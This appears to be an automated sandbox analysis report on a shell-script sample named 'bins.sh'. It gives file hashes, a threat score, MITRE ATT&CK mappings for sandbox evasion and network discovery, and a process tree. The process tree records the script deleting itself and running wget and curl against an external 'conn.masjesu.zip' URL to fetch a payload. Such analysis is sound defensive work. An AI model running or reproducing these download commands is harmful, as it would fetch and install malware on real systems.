36354b4621b1a65b3b9e49f4f28de6a36f86f23922d692a1a336b636c45ab54d

Analysis

max time kernel
149s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/12/2024, 02:01

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General

Target
bins.sh
Size 10KB
Sample241209-cf1ersspbr
SHA256 36354b4621b1a65b3b9e49f4f28de6a36f86f23922d692a1a336b636c45ab54d
MD5 aae52af0f514c2d01b4bbe42d1530ed4
SHA1 9172c43a3fee4ae7b0c4cd0a09c5d502e74f8daa
SHA512 b1d06580eab7de00cc283855823e0a9b59a041f3662e57a12c51119cb5bc44b461afef1fd1f367a70c3d62c70c975e0cfa3097f6ea3e2125c3e24308fa6f68b1
SSDEEP 192:g+2dEIrV0iHgc1R+WsKQNAkBGu09gc1R+W6AkBGu2+2dEI2:GV0i92KQNAkBGu0TIAkBGuF
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
649	wget
658	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7J2nQaTfSPIxpi5UYduptxI24wr0myaHtP
  2⤵
  - System Network Configuration Discovery
  PID:649
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7J2nQaTfSPIxpi5UYduptxI24wr0myaHtP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:658

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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